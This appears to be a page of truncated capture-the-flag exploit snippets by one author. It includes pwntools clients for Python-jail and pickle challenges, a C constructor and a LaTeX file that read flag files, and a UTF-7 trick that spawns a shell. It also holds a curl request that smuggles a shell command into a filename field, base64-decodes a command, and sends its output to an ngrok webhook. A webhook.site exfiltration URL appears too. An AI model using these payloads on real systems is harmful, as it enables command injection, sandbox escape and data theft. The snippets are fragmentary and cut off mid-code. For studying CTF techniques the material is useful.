lebr0nli

from pwn import *
import dis


def gen_varname() -> str:
    d = {}

    class Checker:
        def __getattribute__(self, __name: str) -> bool:
            if d.get(__name, False):

lebr0nli

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__((constructor)) void pwn() {
    // open /flag and printf it
    int fd = open("/flag", O_RDONLY);
    char buf[0x100];
    read(fd, buf, 0x100);
    printf("%s", buf);

lebr0nli

from pwn import *


def main() -> None:
    io = remote("pyjail-revenge.chal.idek.team", 1337)

    # __import__('__main__').any = all
    # sys.modules = {'idlelib.pyshell': __import__('__main__')}
    # import idlelib.idle
    # https://github.com/python/cpython/blob/206f05a46b426eb374f724f8e7cd42f2f9643bb8/Lib/idlelib/idle.py#L13-L14

lebr0nli

\RequirePackage{etoolbox}
\documentclass{article}
\providecommand{\x}{pdff}
\begin{document}
\csuse{\x iledump} offset 0 length 99 {/app/flag}
\end{document}

lebr0nli

#!/bin/bash

WEBHOOK="0.tcp.jp.ngrok.io:11048"

curl -i -s -k -X $'POST' \
    -H $'Host: 34.124.157.94:10556' -H $'Content-Type: application/x-www-form-urlencoded' \
    --data-binary $'filename=--compress-program=sh -z /proc/self/cmdline -o /tmp/lebr0nli`curl${IFS}-d${IFS}$($(echo${IFS}L3JlYWRmbGFnCg==|base64${IFS}-d))${IFS}'"$WEBHOOK"'`' \
    $'http://34.124.157.94:10556/index.php' -o /dev/null

lebr0nli

# encoding: utf-7
# a+AAo-import os;os.system('sh')
# upload this file as index.html to your github pages

lebr0nli

def gen_payload(name_idx: int) -> str:
    payload = '(0 if 1 else f"'
    for i in range(name_idx):
        payload += "{a_%s}" % i
    payload += '")'
    payload = "(0 if %s else %s)" % (payload, f"a_{name_idx}")
    return payload

payload = f"""
lambda getattr: [getattr(getattr, f"{{x}}") for x in {gen_payload(int(input()))}]

lebr0nli

from pwn import *


WEBHOOK_URL = "https://webhook.site/64021412-a0e0-4f76-bde4-3bb705c13da4/"


def conn() -> tube:
    if args.LOCAL:
        return remote("localhost", 1337)
    return remote("win.the.seetf.sg", 5000)

lebr0nli

from pwn import *
import pickletools


def conn() -> tube:
    if args.LOCAL:
        return process(["python", "server.py"])

    return remote("you-shall-not-call.chal.imaginaryctf.org", 1337)

lebr0nli

from pwn import *
import pickletools


def conn() -> tube:
    if args.LOCAL:
        return process(["python", "server.py"])

    return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337)